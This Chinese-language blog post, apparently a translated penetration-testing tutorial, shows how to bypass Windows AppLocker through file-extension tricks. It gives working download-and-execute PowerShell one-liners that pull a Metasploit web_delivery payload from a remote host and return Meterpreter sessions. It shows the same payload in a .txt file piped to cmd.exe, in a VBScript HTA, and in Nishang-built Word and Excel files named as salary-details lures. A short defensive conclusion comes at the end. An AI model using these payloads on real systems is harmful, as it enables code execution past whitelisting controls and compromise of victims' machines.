看我如何利用文件扩展名绕过AppLocker?

本文讲的是 看我如何利用文件扩展名绕过AppLocker?绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则。然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。

可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接。

exploit/multi/script/web_delivery

看我如何利用文件扩展名绕过AppLocker?

Web Delivery模块 – PowerShell有效载荷

默认情况下,直接从命令提示符执行.bat文件将会被阻止,.bat文件不允许执行。

看我如何利用文件扩展名绕过AppLocker?

AppLocker – 限制bat文件的执行

但是,通过将此文件的扩展名更改为.txt并从命令提示符执行相同的有效载荷后将会返回一个Meterpreter会话。

cmd.exe /K < payload.txt

看我如何利用文件扩展名绕过AppLocker?

命令提示符 –将.bat文件作为txt执行

payload.txt

@echo off
powershell.exe -nop -w hidden -c IEX   (new-object net.webclient).downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
PAUSE

在PowerShell中,可以使用Get-Content cmdlet读取txt文件的内容,然后利用Invoke-Expression运行payload-powershell.txt文件中包含的命令:

IEX (new-object   net.webclient).downloadstring('
http://192.168.100.3:8080/9Q21wiSds9E0pxi
');

看我如何利用文件扩展名绕过AppLocker?

PowerShell – 从txt文件中执行有效载荷

Metasploit监听器将收到两个Meterpreter会话:

看我如何利用文件扩展名绕过AppLocker?

Web Delivery – 获取Meterpreter会话

文件扩展名

像Microsoft Word和Excel这类应用程序系统应该是允许执行的,并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。Nishang PowerShell框架可用于生成各种文件后缀,其中可以包含特定的有效载荷,如:

DOC
XLS
HTA
LNK

应该注意到的是,系统需要先安装office,否则nishang将无法生成相关的文件。

PS C:nishangClient> Import-Module   .Out-Word.ps1
PS C:nishangClient> Import-Module   .Out-Excel.ps1
PS C:nishangClient> Out-Word -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring(
'http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.doc
0
PS C:nishangClient> Out-Excel -Payload   "powershell.exe -nop -w hidden -c IEX (new-object   net.webclient).downloadstring
('http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file   C:nishangClientSalary_Details.xls
0
PS C:nishangClient>

看我如何利用文件扩展名绕过AppLocker?

Nishang – 嵌入了恶意有效载荷的Word和Excel文件

Nishang还有两个PowerShell脚本,可以用来生成嵌入了PowerShell有效载荷的CHM文件和快捷方式。应该注意到的是,Nishang 依赖于HTML Help Workshop应用程序来生成.CHM文件。

看我如何利用文件扩展名绕过AppLocker?

Nishang – 编译HTML文件和嵌入了恶意有效载荷的快捷方式

以下代码可用于通过.HTA应用程序绕过AppLocker和其他应用程序白名单软件。

pentestlab.hta

<HTML>
<HEAD>
<script language="VBScript">
Set objShell =   CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec   bypass -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>

下面的所有文件扩展名都可以执行托管在远程的用于绕过AppLocker规则的powershell有效载荷。

看我如何利用文件扩展名绕过AppLocker?

Nishang – 生成的文件扩展名

结论

启用AppLocker而不阻止命令提示符和PowerShell那么仍然是可以允许执行代码的,即使特定的文件扩展名被阻止。系统所有者和IT管理员需要删除可以执行代码(如果这些应用程序不提供特定业务目的的话)的信任应用程序,并且为标准用户启用拒绝命令提示符和PowerShell执行的规则以及DLL规则。




原文发布时间为:2017年6月14日
本文作者:李白
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值